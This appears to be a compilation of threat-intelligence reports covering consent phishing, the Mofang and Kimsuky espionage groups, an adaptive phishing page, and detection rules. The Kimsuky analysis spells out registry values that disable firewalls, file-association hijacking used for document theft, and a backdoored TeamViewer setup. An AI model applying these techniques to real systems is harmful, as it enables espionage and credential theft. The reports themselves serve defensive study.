When users click “accept” or “allow,” the app obtains an authorization code that it redeems for an access token. This access token is then used to make API calls on behalf of the user, giving attackers access to the user’s email, forwarding rules, files, contacts, and other sensitive data and resources.
## Consent Phishing Campaign: A Case Study
A recent consent phishing attack we tracked employed social engineering techniques to craft an email that impersonates a business growth solutions company. The message falsely claims to instruct users to review and sign a document, signaling a sense of urgency for the user—a tactic that is apparent in most phishing emails.
There are several phishing techniques in this email campaign: brand impersonation, personalized email text specific to the recipient or organization, and a recognizable sense of urgency as a social engineering lure. What differentiates this attack from others is how the OAuth URL serves malicious content. To the email recipient, the “Review Doc(s) & Sign” OAuth URL appears legitimate, while the URL is formatted with the identity provider URL as well.
Given the recent trend in OAuth abuse, we encourage organizations to look into and prevent this critical threat, beyond what traditional security measures offer.
## How Microsoft Delivers Comprehensive, Coordinated Defense Against Consent Phishing
The sophisticated and dynamic threat landscape exemplified by consent phishing attacks demonstrates the importance of employing a Zero Trust security model with a multi-layer defense architecture. Microsoft 365 Defender provides comprehensive protection against consent phishing by coordinating defense across domains using multiple solutions: Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, and Azure Active Directory.
### Prevent Consent for Illegitimate Apps with Azure AD User Consent Settings
The Microsoft identity platform helps prevent consent phishing in a few ways. With risk-based step-up consent, Azure Active Directory (Azure AD) blocks end users from being able to grant consent to apps that are considered potentially risky. For example, a newly-registered multi-tenant app that has not been publisher-verified might be considered risky, and end users would not be allowed to grant consent, even if they visit the OAuth phishing URL.
Azure AD puts admins in control over when users are allowed to grant consent to apps. This is a powerful mechanism for preventing the threat in the first place, and Microsoft recommends that organizations review settings for when users can grant consent. Microsoft recommends choosing the out-of-the-box option where users are only allowed to consent to apps from verified publishers, and only for chosen, lower risk permissions. For additional granularity, admins can also create custom consent policies, which dictate the conditions for allowing users to grant consent, including for specific apps, publishers, or permissions.
### Blocking Consent Phishing Emails with Microsoft Defender for Office 365
Microsoft Defender for Office 365 uses advanced filtering technologies backed by machine learning, IP and URL reputation systems, and unparalleled breadth of signals to provide durable protection against phishing and other malicious emails, helping to block consent phishing campaigns out of the gate. Anti-phishing policies in Defender for Office 365 help protect organizations against impersonation-based phishing attacks.
Microsoft researchers are constantly tracking OAuth 2.0 URL techniques and use this knowledge to provide feedback to email filtering systems. This helps ensure that Microsoft Defender for Office 365 is providing protection against the latest OAuth phishing attacks and other threats. Signals from Microsoft Defender Office 365 help identify malicious apps and prevent users from accessing them, and provide rich threat data that organizations can query and investigate using advanced hunting capabilities.
### Identifying Malicious Apps with Microsoft Defender for Cloud Apps
Microsoft Defender for Cloud Apps policies such as activity policies, anomaly detection, and OAuth app policies help organizations manage apps connected to their environment. The new app governance add-on feature to Microsoft Defender for Cloud Apps helps organizations define appropriate Microsoft 365 app behavior with data, users, and other apps, quickly detect unusual app behavior activity that varies from the baseline, and disable an app when it behaves differently than expected.
To give organizations and users confidence in using apps in the Microsoft 365 ecosystem, the Microsoft 365 App Compliance Program enables app developers to establish the authenticity of their applications. The program includes publisher verification, publisher attestation, and Microsoft 365 certification.
### Investigating and Hunting for Consent Phishing Attacks
Security operations teams can use advanced hunting capabilities in Microsoft 365 Defender to locate consent phishing emails and other threats. Microsoft 365 Defender consolidates and correlates email threat data from Microsoft Defender for Office 365, app signals from Microsoft Defender for Cloud Apps, and intelligence from other Microsoft services to provide a comprehensive end-to-end view of attacks. Security operations teams can then use the rich tools in Microsoft 365 Defender to investigate and remediate attacks.
### Best Practices for Protecting Organizations Against Consent Phishing
In addition to taking full advantage of the tools available to them in Microsoft 365 and Microsoft Azure, administrators can further strengthen defenses against consent phishing by following these measures:
- Configure user consent settings to only allow user consent for apps from verified publishers, for specific low-risk permissions.
- Increase end user awareness on consent phishing tactics as part of security training. Training should include checking for poor spelling and grammar in phishing emails or the application’s consent screen as well as spoofed app names and domain URLs that are made to appear to come from legitimate applications or companies.
- Educate the organization on how permissions and consent frameworks work. Understand the data and permissions an application is asking for and understand how permissions and consent work within our platform. Ensure administrators know how to manage and evaluate consent requests and investigate and remediate risky OAuth applications.
- Audit apps and consented permissions in your organization to ensure applications being used are accessing only the data they need and adhering to the principles of least privilege.
- Create proactive app governance policies to monitor third-party app behavior on the Microsoft 365 platform since policy-driven and machine-learning initiated remediations address app behaviors both for common and emerging threat scenarios. |
# Mofang: A Politically Motivated Information Stealing Adversary
**Lead Author:** Yonathan Klijnsma
**Co-authors:** Danny Heppener, Mitchel Sahertian, Krijn de Mik, Maarten van Dantzig, Yun Zheng Hu, Lennart Haagsma, Martin van Hensbergen, Erik de Jong
**Version:** 1.0
**Date:** May 17, 2016
## Executive Summary
Mofang (模仿, Mófǎng, to imitate) is a threat actor that almost certainly operates out of China and is probably government-affiliated. It is highly likely that Mofang’s targets are selected based on involvement with investments or technological advances that could be perceived as a threat to the Chinese sphere of influence. This is most clearly the case in a campaign focusing on government and critical infrastructure of Myanmar described in this report. Mofang is likely a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved.
In addition to the campaign in Myanmar, Mofang has been observed to attack targets across multiple sectors (government, military, critical infrastructure, automotive, and weapon industries) in multiple countries, including India, Germany, the United States, Canada, Singapore, and South Korea. Despite its diverse set of targets, Mofang is probably one group, as its tools (ShimRat and ShimRatReporter) are not widely used, and campaigns are not usually observed in parallel.
Technically, the group uses distinct tools that date back to at least February 2012: ShimRat and ShimRatReporter. The Mofang group does not use exploits to infect targets; they rely on social engineering, and their attacks are carried out in three stages:
1. **Compromise for reconnaissance:** Aiming to extract key information about the target infrastructure.
2. **Faux infrastructure setup:** Designed to avoid attracting attention.
3. **The main compromise:** To carry out actions on the objective.
The name ShimRat is based on how its persistence is built up. It uses shims in Windows to become persistent. Shims are simply hot patching processes on the fly, ensuring backward compatibility of software on the Microsoft Windows platform.
## Introduction
Mofang is a group that operates out of China and is probably government-affiliated. The most compelling evidence supporting this hypothesis is that the targets and campaigns known so far can be persuasively correlated to important geopolitical events and investment opportunities that align with Chinese interests. Notable examples include systematic espionage in the government and critical infrastructure sector of Myanmar.
### Who is Mofang and Who Do They Attack?
#### About the Mofang Group
Despite its diverse set of targets, Mofang is likely one group. This is based on the fact that its tools (ShimRat and ShimRatReporter) are not widely used, and that campaigns are not usually observed in parallel.
#### Mofang’s Targets: A Diverse Set of Entities
Targets are selected based on involvement with investments or technological advances that could be perceived as a threat to the Chinese sphere of influence. This is evident in the campaign focusing on Myanmar, where a company involved in a special economic zone was attacked, likely due to its connection to China’s National Petroleum Corporation.
## The Distinct Modus Operandi of Mofang
The Mofang group uses distinct malware that dates back to at least February 2012. The two tools used in their campaigns are:
1. ShimRat
2. ShimRatReporter
Mofang has never used exploits to infect targets, instead relying heavily on social engineering. The only exploits used are privilege elevation exploits built into their own malware.
### Stages of Attack
1. **Initial Reconnoitering Compromise:** An initial compromise is performed on specific employees of a targeted organization to extract key information about the target infrastructure.
2. **Faux Infrastructure Setup:** The group sets up external infrastructure designed to avoid attracting attention.
3. **The Main Compromise:** After gathering necessary information, a custom-built version of the ShimRat malware is deployed to infect users.
## A History of Past Attacks
The first activity of the Mofang group was seen in February 2012, when the first version of their malware, ShimRat, was observed in attacks. The following is a timeline from early 2012 through to 2016, detailing development information and incidents related to this group.
### Campaigns in Myanmar
Since 2009, foreign investment in Myanmar has increased substantially, leading to the establishment of special economic zones (SEZs) to encourage economic growth and foreign investments. The Mofang group has been active in relation to the Kyaukphyu SEZ, targeting companies involved with investment opportunities that align with Chinese interests.
#### Earlier Campaigns in Myanmar
Mofang has compromised numerous servers belonging to government or other Myanmar-related organizations. Notable attacks include the use of compromised government servers to stage attacks and the targeting of organizations involved in infrastructure development.
## Other Notable Campaigns and Attacks
### Attack on Indian Defense Expo Exhibitors
The Mofang group has targeted exhibitors at the International MSME Sub-Contracting & Supply exhibition for Defence – Aerospace – Homeland Security (MSME DEFEXPO) in India. The group used spear phishing emails containing Word documents or Excel sheets to entice targets to install the ShimRat malware.
### Attack on ‘seg’
In December 2012, Mofang started a campaign against a target called ‘seg’. The victim was compromised with ShimRatReporter, and the configuration reflected the targeted nature of this campaign.
### Attack Using a Citrix Lure
In September 2015, Mofang launched an attack using a domain that previously belonged to Citrix. The payload contained a newly packaged ShimRat sample and a new DLL hijacked program.
### The Global Campaign
Mofang also runs a global campaign, utilizing infrastructure with domains impersonating Microsoft and Google services to connect with a wide variety of victims. This campaign was observed before the ShimRatReporter tool was available.
## Preferred Tools
### ShimRat
ShimRat is a custom-developed piece of malware known as a Remote Administration Tool (RAT). It has standard capabilities for filesystem interaction and has been expanded over the years. ShimRat uses DLL hijacking of antivirus components for persistence, allowing it to run undetected.
### ShimRatReporter
ShimRatReporter is used for reconnaissance, gathering information about the target infrastructure. It is delivered through emails pointing to an executable placed on a compromised website.
## Conclusion
The Mofang group represents a significant threat, particularly to organizations involved in sectors of interest to China. Their sophisticated methods of attack, reliance on social engineering, and ability to adapt to changing environments make them a formidable adversary. |
# FireEye Mandiant PulseSecure Exploitation Countermeasures
These rules are provided freely to the community without warranty. We provide zero guarantees with these free best effort rules and these do not reflect the same process we follow for paying customers.
In this GitHub repository you will find rules in multiple languages:
- Snort
- Yara
As well as a listing of known file hashes, filenames, and Mitre ATT&CK techniques used by the attacker. |
# The "Kimsuky" Operation: A North Korean APT?
For several months, we have been monitoring an ongoing cyber-espionage campaign against South Korean think-tanks. There are multiple reasons why this campaign is extraordinary in its execution and logistics. It all started one day when we encountered a somewhat unsophisticated spy program that communicated with its "master" via a public e-mail server. This approach is rather inherent to many amateur virus-writers, and these malware attacks are mostly ignored.
However, there were a few things that attracted our attention:
- The public e-mail server in question was Bulgarian - mail.bg.
- The compilation path string contained Korean hieroglyphs.
These two facts compelled us to take a closer look at this malware -- Korean compilers alongside Bulgarian e-mail command-and-control communications. The complete path found in the malware presents some Korean strings: `D:rsh UAC_dll()Releasetest.pdb`. The "rsh" word, by all appearances, means a shortening of "Remote Shell," and the Korean words can be translated in English as "attack" and "completion," i.e., `D:rshATTACKUAC_dll(COMPLETION)Releasetest.pdb`.
Although the full list of victims remains unknown, we managed to identify several targets of this campaign. According to our technical analysis, the attackers were interested in targeting the following organizations:
## The Sejong Institute
The Sejong Institute is a non-profit private organization for public interest and a leading think tank in South Korea, conducting research on national security strategy, unification strategy, regional issues, and international political economy.
## Korea Institute For Defense Analyses (KIDA)
KIDA is a comprehensive defense research institution that covers a wide range of defense-related issues. KIDA is organized into seven research centers: the Center for Security and Strategy; the Center for Military Planning; the Center for Human Resource Development; the Center for Resource Management; the Center for Weapon Systems Studies; the Center for Information System Studies; and the Center for Modeling and Simulation. KIDA also has an IT Consulting Group and various supporting departments. KIDA's mission is to contribute to rational defense policy-making through intensive and systematic research and analysis of defense issues.
## Ministry of Unification
The Ministry of Unification is an executive department of the South Korean government responsible for working towards the reunification of Korea. Its major duties are: establishing North Korea Policy, coordinating inter-Korean dialogue, pursuing inter-Korean cooperation, and educating the public on unification.
## Hyundai Merchant Marine
Hyundai Merchant Marine is a South Korean logistics company providing worldwide container shipping services.
Some clues also suggest that computers belonging to "The supporters of Korean Unification" were also targeted. Among the organizations we counted, 11 are based in South Korea and two entities reside in China.
Partly because this campaign is very limited and highly targeted, we have not yet been able to identify how this malware is being distributed. The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails.
## Infecting a system
The initial Trojan dropper is a Dynamic Link Library functioning as a loader for further malware. It does not maintain exports and simply delivers another encrypted library maintained in its resource section. This second library performs all the espionage functionality.
When running on Windows 7, the malicious library uses the Metasploit Framework's open-source code Win7Elevate to inject malicious code into explorer.exe. In any case, be it Windows 7 or not, this malicious code decrypts its spying library from resources, saves it to disk with an apparently random but hardcoded name, for example, `~DFE8B437DD7C417A6D.TMP`, in the user's temporary folder, and loads this file as a library.
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name -- either `KBDLV2.DLL` or `AUTO.DLL`, depending on the malware sample. Then the service is created for the service DLL. Service names also can differ from version to version; we discovered the following names -- `DriverManage`, `WebService`, and `WebClientManager`. These functions assure malware persistence in a compromised OS between system reboots.
At this stage, the malware gathers information about the infected computer. This includes an output of the `systeminfo` command saved in the file `oledvbs.inc` by following the hardcoded path: `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`. There is another function called - the malware creates a string containing computer and user names, but this isn't used anywhere. By all appearances, this is a mistake by the malware author. Later on, we will come to a function where such a string could be pertinent, but the malware is not able to find this data in the place where it should be. These steps are taken only if it's running on an infected system for the first time. At system startup, the malicious library performs spying activities when it confirms that it is loaded by the generic `svchost.exe` process.
## Spying modules
There are a lot of malicious programs involved in this campaign, but, strangely, they each implement a single spying function. Besides the basic library (`KBDLV2.DLL` / `AUTO.DLL`) that is responsible for common communication with its campaign master, we were able to find modules performing the following functions:
- Keystroke logging
- Directory listing collection
- HWP document theft
- Remote control download and execution
- Remote control access
## Disabling firewall
At system startup, the basic library disables the system firewall and any AhnLab firewall (a South Korean security product vendor) by zeroing out related values in the registry:
```
SYSTEMCurrentControlSetServicesSharedAccessParameters
FirewallPolicyStandardProfile
EnableFirewall = 0
SYSTEMCurrentControlSetServicesSharedAccessParameters
FirewallPolicyPublicProfile
EnableFirewall = 0
HKLMSOFTWAREAhnLabV3IS2007InternetSec
FWRunMode = 0
HKLMSOFTWAREAhnlabV3IS80is
fwmode = 0
```
It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall. It is not accidental that the malware author has singled out AhnLab's security product. During our Winnti research, we learned that one of the Korean victims was severely criticized by South Korean regulators for using foreign security products. We do not know for sure how this criticism affected other South Korean organizations, but we do know that many South Korean organizations install AhnLab security products. Accordingly, these attackers don't even bother evading foreign vendors' products because their targets are solely South Korean.
Once the malware disables the AhnLab firewall, it checks whether the file `taskmgr.exe` is located in the hardcoded `C:WINDOWS` folder. If the file is present, it runs this executable. Next, the malware loops every 30 minutes to report itself and wait for a response from its operator.
## Communications
Communication between bot and operator flows through the Bulgarian web-based free email server (mail.bg). The bot maintains hardcoded credentials for its e-mail account. After authenticating, the malware sends e-mails to another specified e-mail address and reads e-mails from the inbox. All these activities are performed via the "mail.bg" web-interface with the use of the system Wininet API functions.
From all the samples that we managed to obtain, we extracted the following email accounts used in this campaign:
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
Here are the two "master" email addresses to which the bots send e-mails on behalf of the above-mentioned accounts. They report on status and transmit infected system information via attachments:
- [email protected]
- [email protected]
## Regular reporting
To report infection status, the malware reads from `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`, which contains the `systeminfo` command output. If the file exists, it is deleted after reading. Then, it reads user-related info from the file `sqlxmlx.inc` in the same folder (we can see strings referencing "UserID" commentary in this part of the code). But this file was never created. As you recall, there is a function that should have collected this data and should have saved it into this `sqlxmlx.inc` file. However, on the first launch, the collected user information is saved into `xmlrwbin.inc`. This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file. There is a chance for the mistaken code to still work -- user information could be copied into the send information heap. But not in this case - at the time of writing, the gathered user information variable which should point to the `xmlrwbin.inc` filename has not yet been initialized, causing the file write to fail. We see that `sqlxmlx.inc` is not created to store user information.
Next, the intercepted keystrokes are read from the file and sent to the master. Keystrokes are logged and kept in an ordinary and consistent format in this file - both the names of windows in which keys were typed and the actual sequence of keyboard entry. This data is found in the file `C:Program FilesCommon FilesSystemOle DBmsolui80.inc` created by the external key logger module.
All this data is merged in one file `xmlrwbin.inc`, which is then encrypted with RC4. The RC4 key is generated as an MD5 hash of a randomly generated 117-bytes buffer. To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content. This data is also sent, but RSA encrypted. The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer. The malware then concatenates all the data to be sent as a 128-bytes block. The resulting data is saved in `C:Program FilesCommon FilesSystemOle DB` to a file named according to the following format: `"<system time>_<account at Bulgarian email server>.txt"`, for example, `"[email protected]"`. The file is then attached to an e-mail and sent to the master's e-mail account. Following transmission, it is immediately deleted from the victim system.
## Getting the master's data
The malware also retrieves instructions from the mail server. It checks for mails in its Bulgarian e-mail account with a particular subject tag. We have identified several "subject tags" in the network communication: `Down_0`, `Down_1`, `Happy_0`, `Happy_2`, and `ddd_3`. When found and the e-mail maintains an attachment, the malware downloads this attachment and saves it with filename `msdaipp.cnt` in `C:Program FilesCommon FilesSystemOle DB`. The attacker can send additional executables in this way. The executables are RC4 encrypted and then attached. The key for decryption is hardcoded in the malicious samples. It's interesting that the same "rsh!@!#" string is maintained across all known samples and is used to generate RC4 keys. As described earlier, the malware computes the MD5 of this string and uses the hash as its RC4 key to decrypt the executable. Then, the plain executable is dropped onto disk as `sqlsoldb.exe` and run, and then moved to the `C:Windows` folder with the file name `taskmgr.exe`. The original e-mail and its attachment are then deleted from the Bulgarian e-mail inbox.
## Key logger
The additional key logger module is not very complex -- it simply intercepts keystrokes and writes typed keys into `C:Program FilesCommon FilesSystemOle DBmsolui80.inc`, and also records the active window name where the user pressed keys. We saw this same format in the Madi malware. There is also one key logger variant that logs keystrokes into `C:WINDOWSsetup.log`.
## Directory listing collector
The next program sent to victims enumerates all the drives on the infected system and executes the following command on them: `dir <drive letter>: /a /s /t /-c`. In practice, this command is written to `C:WINDOWSmsdatt.bat` and executed with output redirected to `C:WINDOWSmsdatl3.inc`. As a result, the latter maintains a listing of all files in all the folders on the drive. The malware later reads that data and appends it to the content of the file `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`. At this point, `oledvbs.inc` already stores systeminfo output.
It's interesting that one sample of the directory listing collector was infected with the infamous "Viking" virus of Chinese origin. Some of this virus' modifications were wandering in the wild for years, and its authors or operators would never expect to see it end up in a clandestine APT-related spying tool. For the attackers, this is certainly a big failure. Not only does the original spying program have marks of well-known malware that can be detected by anti-malware products; moreover, the attackers are revealing their secret activities to cyber-criminal gangs. However, by all appearances, the attackers noticed the unwanted addition to their malware and got rid of the infection. This was the only sample bearing the Viking virus.
Due to the expensive work of malware with a variety of additional files, it's not out of place to show these "relationships" in a diagram.
## HWP document stealer
This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. Hancom Office is widely used in South Korea. This malware module works independently of the others and maintains its own Bulgarian e-mail account. The account is hardcoded in the module along with the master's e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on the infected computer but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component, and we do not see it in other malicious toolkits.
The program copies itself as `<Hangul full path>HncReporter.exe` and changes the default program association in the registry to open HWP documents. To do so, it alters the following registry values:
```
HKEY_CLASSES_ROOTHwp.Document.7shellopencommand
or
HKEY_CLASSES_ROOTHwp.Document.8shellopencommand
```
By default, there is the registry setting `"<Hangul full path>Hwp.exe" "%1"` associating the Hangul application "Hwp.exe" with .HWP documents. But the malicious program replaces this string with the following: `"<Hangul full path>HncReporter.exe" "%1"`. So, when the user is opening any .HWP document, the malware program itself is executed to open the .HWP document. Following this registry edit, any opened .HWP document is read and sent as an e-mail attachment with the subject "Hwp" to the attackers. After sending, the malware executes the real Hangul word processing application "Hwp.exe" to open the .HWP document as the user intended. This means the victim most likely will not notice the theft of the .HWP file. The module's sending routine depends on the following files in `C:Program FilesCommon FilesSystemOle DB` folder: `xmlrwbin.inc`, `msdaipp.cnt`, `msdapml.cnt`, `msdaerr.cnt`, `msdmeng.cnt`, and `oledjvs.inc`.
## Remote control module downloader
An extra program is dedicated exclusively to download attachments out of incoming e-mails with a particular subject tag. This program is similar to the pivot module but with reduced functionality: it maintains the hardcoded Bulgarian e-mail account, logs in, reads incoming e-mails, and searches for the special subject tag "Team." When found, it loads the related attachment, drops it onto the hard drive as `C:Program FilesCommon FilesSystemOle DBtaskmgr.exe`, and executes. This particular executable arrives without any encryption.
## Remote control module
It is also interesting that the malware author did not custom develop a backdoor program. Instead, the author modified TeamViewer client version 5.0.9104. The initial executable pushed by attackers in e-mails related to the remote control module consists of three more executables. Two of them are TeamViewer components themselves, and another is some sort of backdoor loader. So, the dropper creates three files in the `C:WindowsSystem32` directory:
- `netsvcs.exe` - the modified TeamViewer client;
- `netsvcs_ko.dll` - resources library of TeamViewer client;
- `vcmon.exe` - installer/starter;
and creates the service "Remote Access Service," adjusted to execute `C:WindowsSystem32vcmon.exe` at system startup. Every time `vcmon.exe` is executed, it disables AhnLab's firewall by zeroing out the following registry values:
```
HKLMSOFTWAREAhnLabV3 365 ClinicInternetSec
UseFw = 0
UseIps = 0
```
Then, it modifies the TeamViewer registry settings. As we said, the TeamViewer components used in this campaign are not the original ones. They are slightly modified. In total, we found two different variants of changed versions. The malware author replaced all the entries of "Teamviewer" strings in TeamViewer components. In the first case with the "Goldstager" string and with the string "Coinstager" in the second. TeamViewer client registry settings are then `HKLMSoftwareGoldstagerVersion5` and `HKLMSoftwareCoinstagerVersion5` correspondingly. The launcher sets up several registry values that control how the remote access tool will work. Among them is `SecurityPasswordAES`. This parameter represents a hash of the password with which a remote user has to connect to the TeamViewer client. This way, the attackers set a pre-shared authentication value. After that, the starter executes the very TeamViewer client `netsvcs.exe`.
## Who's Kim?
It's interesting that the drop box mail accounts `[email protected]` and `[email protected]` are registered with the following "kim" names: `kimsukyang` and "Kim asdfa." Of course, we can't be certain that these are the real names of the attackers. However, the selection isn't frequently seen. Perhaps it also points to the suspected North Korean origin of the attack. Taking into account the profiles of the targeted organizations -- South Korean universities that conduct research on international affairs, produce defense policies for government, national shipping company, supporting groups for Korean unification -- one might easily suspect that the attackers might be from North Korea. The targets almost perfectly fall into their sphere of interest. On the other hand, it is not that hard to enter arbitrary registration information and misdirect investigators to an obvious North Korean origin. It does not cost anything to concoct fake registration data and enter `kimsukyang` during a Hotmail registration. We concede that this registration data does not provide concrete, indisputable information about the attackers.
However, the attackers' IP addresses do provide some additional clues. During our analysis, we observed ten IP addresses used by the Kimsuky operators. All of them lie in ranges of the Jilin Province Network and Liaoning Province Network, in China. No other IP addresses have been uncovered that would point to the attackers' activity and belong to other IP ranges. Interestingly, the ISPs providing internet access in these provinces are also believed to maintain lines into North Korea. Finally, this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea.
## Appendix
### Files used by malware:
- `%windir%system32kbdlv2.dll`
- `%windir%system32auto.dll`
- `%windir%system32netsvcs.exe`
- `%windir%system32netsvcs_ko.dll`
- `%windir%system32vcmon.exe`
- `%windir%system32svcsmon.exe`
- `%windir%system32svcsmon_ko.dll`
- `%windir%system32wsmss.exe`
- `%temp%~DFE8B437DD7C417A6D.TMP`
- `%temp%~DFE8B43.TMP`
- `%temp%~tmp.dll`
- `C:Windowstaskmgr.exe`
- `C:Windowssetup.log`
- `C:Windowswinlog.txt`
- `C:Windowsupdate.log`
- `C:Windowswmdns.log`
- `C:Windowsoledvbs.inc`
- `C:Windowsweoig.log`
- `C:Windowsdata.dat`
- `C:Windowssys.log`
- `C:WindowsPcMon.exe`
- `C:WindowsGoogle Update.exe`
- `C:WindowsReadMe.log`
- `C:Windowsmsdatt.bat`
- `C:Windowsmsdatl3.inc`
- `C:Program FilesCommon FilesSystemOle DBmsdmeng.cnt`
- `C:Program FilesCommon FilesSystemOle DBxmlrwbin.inc`
- `C:Program FilesCommon FilesSystemOle DBmsdapml.cnt`
- `C:Program FilesCommon FilesSystemOle DBsqlsoldb.exe`
- `C:Program FilesCommon FilesSystemOle DBoledjvs.inc`
- `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`
- `C:Program FilesCommon FilesSystemOle DBmsolui80.inc`
- `C:Program FilesCommon FilesSystemOle DBmsdaipp.cnt`
- `C:Program FilesCommon FilesSystemOle DBmsdaerr.cnt`
- `C:Program FilesCommon FilesSystemOle DBsqlxmlx.inc`
- `<Hangul full path>HncReporter.exe`
### Related MD5:
- `3baaf1a873304d2d607dbedf47d3e2b4`
- `3195202066f026de3abfe2f966c9b304`
- `4839370628678f0afe3e6875af010839`
- `173c1528dc6364c44e887a6c9bd3e07c`
- `191d2da5da0e37a3bb3cbca830a405ff`
- `5eef25dc875cfcb441b993f7de8c9805`
- `b20c5db37bda0db8eb1af8fc6e51e703`
- `face9e96058d8fe9750d26dd1dd35876`
- `9f7faf77b1a2918ddf6b1ef344ae199d`
- `d0af6b8bdc4766d1393722d2e67a657b`
- `45448a53ec3db51818f57396be41f34f`
- `80cba157c1cd8ea205007ce7b64e0c2a`
- `f68fa3d8886ef77e623e5d94e7db7e6c`
- `4a1ac739cd2ca21ad656eaade01a3182`
- `4ea3958f941de606a1ffc527eec6963f`
- `637e0c6d18b4238ca3f85bcaec191291`
- `b3caca978b75badffd965a88e08246b0`
- `dbedadc1663abff34ea4bdc3a4e03f70`
- `3ae894917b1d8e4833688571a0573de4`
- `8a85bd84c4d779bf62ff257d1d5ab88b`
- `d94f7a8e6b5d7fc239690a7e65ec1778`
- `f1389f2151dc35f05901aba4e5e473c7`
- `96280f3f9fd8bdbe60a23fa621b85ab6`
- `f25c6f40340fcde742018012ea9451e0`
- `122c523a383034a5baef2362cad53d57`
- `2173bbaea113e0c01722ff8bc2950b28`
- `2a0b18fa0887bb014a344dc336ccdc8c`
- `ffad0446f46d985660ce1337c9d5eaa2`
- `81b484d3c5c347dc94e611bae3a636a3`
- `ab73b1395938c48d62b7eeb5c9f3409d`
- `69930320259ea525844d910a58285e15`
### Names of services created by malware:
- `DriverManage`
- `WebService`
- `WebClientManager`
- `Remote Access Service`
We detect these threats as `Trojan.Win32.Kimsuky` except modified TeamViewer client components which are detected as `Trojan.Win32.Patched.ps`. |
# The Attack of the Chameleon Phishing Page
Recently, we encountered an interesting phishing webpage that caught our interest because it acts like a chameleon by changing and blending its color based on its environment. In addition, the site adapts its background page and logo depending on user input to trick its victims into giving away their email credentials.
We see an email with the “initial” URLs in the example below:
There are three URLs in the email. The second and third URLs are identical, which we will discuss later. To see what would happen, we placed the first URL in a web browser, equating to the email’s instructions for the target to click on the provided link to access the “fax document.” Doing so brought us to the phishing site shown below. The webpage is fabricated. The victim’s email address is already provided, and the site only asks for the victim’s password.
As previously noted, the second and third URLs are identical. This is where things get interesting. When we checked out these URLs in a browser, it appeared to look just like another run-of-the-mill phishing site. The phishing URL’s format is the victim’s email address and is referenced on the fragment part (#). The fragment was used to auto-populate the email address field in the webpage. By removing the fragment part of the URL containing the victim’s email address, most of the web graphics disappear, making the login page look rather bland.
Instead of using the email of the intended recipient, we played around with the URL. We crafted a dummy email address and username and used common email provider domains like gmail.com and outlook.com. The results were interesting. This custom phishing site acts like a chameleon, by changing and blending its images to camouflage itself. There were four noticeable web elements that changed whenever we tested a crafted email address in the browser:
- The page’s background
- A blurred logo
- The title tab
- The capitalized text of the domain from the email address provider.
We can dive deeper into how these changes happen on the website in the backend by viewing the source code. The site does not allow this action when we do a mouse right-click, but there’s a keyboard shortcut for this in Google Chrome’s browser, CTRL + U, which opens a new page tab containing the code.
We checked out the scripts in the source code and discovered how the threat actors created their behind-the-scenes trickery. In the JavaScript code, the declared string variable `my_slice` is commonly used. The supplied email address was validated with a regular expression then parsed to extract the domain name.
The Page Background
The iframe with ID `mainPage` was concatenated with text protocol `https://` and the variable `my_slice` to be its source attribute. This action pulls in content from the domain in the email address, and this helps make the webpage believable, so the victim won’t notice that an incorrect webpage is being accessed.
The Blurred Logo
The code sourced the logo from Google favicon API. The `my_slice` variable was used in the API query to find the matching logo to make the phishing webpage realistic. The sourced logo seemed small; it was stretched, and that’s why it looks blurry on the webpage.
The Tab Title and the Capitalized Text Beside the Logo
The parsed domain name variable, `my_slice`, then undergoes another parsing, disregarding the TLD, extracting the brand, and using it for the `logoname` global variable. The code also included various input text field validators to check the text of the email address and password.
As the victim keys in their password, a notification will appear, “Invalid Details, Please try again.” The submit button’s text shifts from Continue to Sign in. Unknowingly to the user, each time the button is clicked, the email and password data are forwarded to the attacker’s server. After three tries, it finally redirects the victim to the correct website. Once more, the variable `my_slice` is used by concatenating with `http://www.` to be the final landing page destination.
We tried sending a dummy email and password via POST monitored by the network monitoring application, Fiddler; unfortunately, the server is inaccessible. Phishing webpages are often taken down in a matter of minutes or become unavailable as soon as information security companies detect them as being malicious. These templated, or so-called chameleon phishing sites, are used repeatedly by malware authors using the clever tricks we just detailed to fool the user into thinking these pages are real. The phishers can easily customize the template and use other domains to host these scripts, allowing attackers to prey on unsuspecting users over and over again.
Trustwave MailMarshal defends against this phishing campaign.
## IOCs:
**URLs**
- hxxps://ipfs[.]io/ipfs/QmWzESuyrcihoEvCZYrzLpYoZjbeH2b9YdhnkhQWYGVJdX#[emailAddress]
- hxxps://gateway[.]pinata[.]cloud/ipfs/QmbGkfWJDuhgF7PNYTpeqLqSyvmX8yupDbS1CZXWM7Jz4i#[emailAddress]
- https://info[.]hyundai-inidan[.]ro/cgi/apc[.]php |
# FORWARD
Rarely in the infosec industry do cyber investigators get the luxury of knowing the full scope of their adversary’s campaign—from tasking to actual operations, all the way to completion. The oft-repeated mantra “Attribution is hard” largely stands true. Short of kicking down the door just as a cyber actor pushes enter, it is frustratingly hard to prove who is responsible for cyber attacks with 100% certainty. However, a series of recent U.S. Department of Justice (DoJ) indictments released over the course of two years, combined with CrowdStrike Intelligence’s own research, has allowed for startling visibility into a facet of China’s shadowy intelligence apparatus.
